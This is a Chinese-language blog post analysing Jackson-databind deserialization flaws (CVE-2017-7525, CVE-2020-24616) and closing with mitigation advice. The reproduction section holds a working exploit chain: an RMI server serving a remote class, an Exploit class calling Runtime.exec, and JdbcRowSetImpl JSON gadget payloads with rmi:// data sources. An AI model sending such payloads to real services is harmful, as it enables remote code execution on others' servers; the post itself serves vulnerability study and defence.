Jackson-databind引發的漏洞問題分析

語言: CN / TW / HK

前言

最近公司內部提供了一份應用高危漏洞的清單,其中提到了fastjson和jackson,因為之前對fastjson因為多型問題引發的反序列化問題有過了解,所以打算也做一個簡單的分析。

漏洞簡述

2020年08月27日,360CERT監測發現 jackson-databind 釋出了 jackson-databind 序列化漏洞 的風險通告,該漏洞編號為 CVE-2020-24616 ,漏洞等級:高危,漏洞評分:7.5。

br.com.anteros:Anteros-DBCP 中存在新的反序列化利用鏈,可以繞過 jackson-databind 黑名單限制,遠端攻擊者通過向使用該元件的web服務介面傳送特製請求包,可以造成 遠端程式碼執行 影響。

受影響的版本:fasterxml:jackson-databind: <2.9.10.6,該版本還修復了下述利用鏈:

  • org.arrahtec:profiler-core
  • com.nqadmin.rowset:jdbcrowsetimpl
  • com.pastdev.httpcomponents:configuration

上述 package 中存在新的反序列化利用鏈,可以繞過 jackson-databind 黑名單限制,遠端攻擊者通過向使用該元件的web服務介面傳送特製請求包,可以造成 遠端程式碼執行 影響。

漏洞分析

其實此漏洞和前幾年jackson爆出來的另外一個漏洞(CVE-2017-7525)是一脈相承的,都是利用反序列化遠端執行程式碼;至於為什麼會出現這個問題,其實歸根結底和多型有關,下面做一個簡單的分析;

序列化中的多型問題

我們平時見得最多的json格式可能像下面這樣:

{"fruit":{"name":"apple"},"mode":"online"}

裡面是沒有任何類資訊的,拿到json字串直接通過相關方法轉化為物件:

public <T> T readValue(String content, Class<T> valueType)

像以上這種情況基本上是不會有什麼問題的,但是很多業務中有多型的需求,比如像下面這樣:

//水果介面類
public interface Fruit {
}

//通過指定的方式購買水果
public class Buy {
    private String mode;
    private Fruit fruit;
}

//具體的水果類--蘋果
public class Apple implements Fruit {
    private String name;
}

//具體的水果類--香蕉
public class Banana implements Fruit {
    private String name;
}

可以發現這裡的Buy物件裡面存放的是Fruit,並不是具體的某種水果,如果這時候你去序列化:

Banana banana = new Banana();
banana.setName("banana");

Buy buy = new Buy("online", banana);

ObjectMapper mapper = new ObjectMapper();

// 序列化
String jsonString = mapper.writeValueAsString(buy);
System.out.println("toJSONString : " + jsonString);

// 反序列化
Buy newBuy = mapper.readValue(jsonString, Buy.class);
banana = (Banana) newBuy.getFruit();
System.out.println(banana);

序列化是可以成功的,結果如下所示:

{"mode":"online","fruit":{"name":"banana"}}

但是在反序列化的時候,程式中完全沒法知道fruit到底是蘋果還是香蕉,所以會直接報錯:

Exception in thread "main" com.fasterxml.jackson.databind.exc.InvalidDefinitionException: Cannot construct instance of `com.jackson.Fruit` (no Creators, like default construct, exist): abstract types either need to be mapped to concrete types, have custom deserializer, or contain additional type information

面對這種問題,jackson提供了相關的技術支援,主要有以下這麼兩種:

  • 全域性DefaultTyping機制
  • 為Class新增@JsonTypeInfo

多型問題支援

全域性DefaultTyping機制相對來說比較簡單,一個配置就解決了;而@JsonTypeInfo註解模式相對來說比較麻煩;

全域性DefaultTyping機制

只需要對ObjectMapper開啟此配置即可:

ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY);

這樣再去執行剛剛的序列化方法,結果會是如下這樣:

{"@class":"com.jackson.Buy","mode":"online","fruit":{"@class":"com.jackson.impl.Banana","name":"banana"}}

可以發現在json裡面包含了類資訊,這樣在反序列化的時候,就能識別具體的類,這樣就能反序列化成功;

JsonTypeInfo註解模式

此種模式需要針對每種型別做專門的處理,相對來說比較麻煩,我們需要在Fruit介面中做處理:

@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, include = JsonTypeInfo.As.PROPERTY, property = "type")
@JsonSubTypes(value = { @JsonSubTypes.Type(value = Apple.class, name = "a"),
        @JsonSubTypes.Type(value = Banana.class, name = "b") })
public interface Fruit {

}

可以發現如果發現是子類Apple,就用字元a代替;如果發現是子類Banana,就用字元b代替;序列化的結果如下:

{"mode":"online","fruit":{"type":"b","name":"banana"}}

這種模式通過在json字串中添加了具體類的type,這樣在反序列化的時候也同樣可以成功;

漏洞重現

以上介紹了兩種jackson在解決多型問題的方案,那問題出在哪裡;其實問題的根源就出在全域性DefaultTyping機制中對生成的json字串中包含了類資訊,這樣對攻擊者來說就相當於留了一個後門,可以通過在json字串中傳入一些特殊的類,對伺服器引發災難性後果;上面也提到此問題其實在(CVE-2017-7525)漏洞中已經出現,這裡可以做一個簡單模擬;

CVE-2017-7525重現

當時要求的版本是不低於2.8.9,這裡直接使用此版本來模擬;

<dependency>
	<groupId>com.fasterxml.jackson.core</groupId>
	<artifactId>jackson-databind</artifactId>
	version>2.8.10</version>
</dependency>

一個常見的攻擊類是:com.sun.rowset.JdbcRowSetImpl,此類的dataSourceName支援傳入一個rmi的源,然後可以設定autocommit自動連線,執行rmi中的方法; 這裡首選需要準備一個RMI類:

public class RMIServer {
    public static void main(String argv[]) {
         Registry registry = LocateRegistry.createRegistry(1098);
         Reference reference = new Reference("Exploit", "Exploit", "http://localhost:8080/");
         registry.bind("Exploit", new ReferenceWrapper(reference));
    }
}

這裡的Reference指定了類名,以及遠端地址,可以從遠端伺服器上載入class檔案來例項化;準備好Exploit類,編譯成class檔案,然後把他放在本地的http伺服器中即可;

public class Exploit {
    public Exploit() {
         Runtime.getRuntime().exec("calc");
    }
}

這裡我們做了一個簡單的模擬,讓伺服器在本地呼叫計算器;

有了以上這些,下面要準備攻擊的json字串,如下所示:

{"@class":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1098/Exploit","autoCommit":true}

反序列化相關程式碼如下:

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY);
String json = "{\"@class\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1098/Exploit\",\"autoCommit\":true}";
objectMapper.readValue(json, Object.class);

在反序列化的時候,先執行setDataSourceName方法,然後setAutoCommit的時候會自動連線設定的dataSourceName屬性,最終獲取到Exploit類執行其中的相關操作,以上的程式會在本地調起計算器;

image-20210325155140627.png

如果做升級處理,升級到2.8.10版本,同樣執行以上的程式碼,結果如下:

Exception in thread "main" com.fasterxml.jackson.databind.JsonMappingException: Invalid type definition for type Lcom/sun/rowset/JdbcRowSetImpl;: Illegal type (com.sun.rowset.JdbcRowSetImpl) to deserialize: prevented for security reasons

可以發現JdbcRowSetImpl已經進入了jackson的黑名單中;但是黑名單往往是不全的,後續可能經常爆出漏洞,比如這次的漏洞;

CVE-2020-24616重現

這樣同樣使用漏洞前的版本,我們使用2.9.10.5版本,存在漏洞的com.nqadmin.rowset.jdbcrowsetimpl,引入如下:

<dependency>
	<groupId>com.fasterxml.jackson.core</groupId>
	<artifactId>jackson-databind</artifactId>
	<version>2.9.10.5</version>
</dependency>
<dependency>
    <groupId>com.nqadmin.rowset</groupId>
    <artifactId>jdbcrowsetimpl</artifactId>
    <version>1.0.2</version>
</dependency>

再次提供攻擊json字串:

{"@class":"com.nqadmin.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1098/Exploit","autoCommit":true}

執行上面同樣的程式碼,使用如上json字串,同樣能夠調起本地計算器;下面要做的就是升級版本:>2.9.10.6;再次執行結果如下:

Exception in thread "main" com.fasterxml.jackson.databind.exc.InvalidDefinitionException: Invalid type definition for type `com.nqadmin.rowset.JdbcRowSetImpl`: Illegal type (com.nqadmin.rowset.JdbcRowSetImpl) to deserialize: prevented for security reasons

可以發現com.nqadmin.rowset.JdbcRowSetImpl已經進入黑名單;

漏洞總結

可以發現類似的漏洞在很多json序列化工具中都有,黑名單的方案其實也是比較臨時性的,想要徹底解決這個問題其實是很難的,因為你不知道以後還會出現什麼jar包有遠端執行的功能,所以下面對jackson序列化工具做一點使用上的總結;

不要使用DefaultTyping

可以發現問題的根源在於DefaultTyping方式導致在json字串中出現了類資訊,其實上面也介紹了完全可以通過JsonTypeInfo方式代替;只不過相對來說麻煩點,但是對於安全性來說這點不算什麼;

可以發現新版jackson中已經不建議使用DefaultTyping了,此方法已經被標識為@Deprecated

    @Deprecated
    public ObjectMapper enableDefaultTyping(DefaultTyping applicability, JsonTypeInfo.As includeAs) {
    }

反序列化指定具體類

其實我們可以發現這些黑名單中的類,我們平時很少使用,我們大部分情況都使用的是一些業務類,這樣我們在反序列化的時候儘量使用具體類,不要使用Object,如上面的程式碼:

objectMapper.readValue(json, Object.class);

如果我們這裡填的是具體的業務類,如果真的接收到一個攻擊json字串,其實程式首先也會對json中的類資訊是否和指定的類資訊是否一致,如果不一致,直接不會執行:

objectMapper.readValue(json, Banana.class);

上面再反序列化的時候,直接報錯:

Exception in thread "main" com.fasterxml.jackson.databind.exc.InvalidTypeIdException: Missing type id when trying to resolve subtype of [simple type, class com.jackson.impl.Banana]: missing type id property 'type'

感謝關注

可以關注微信公眾號「回滾吧程式碼」,第一時間閱讀,文章持續更新;專注Java原始碼、架構、演算法和麵試。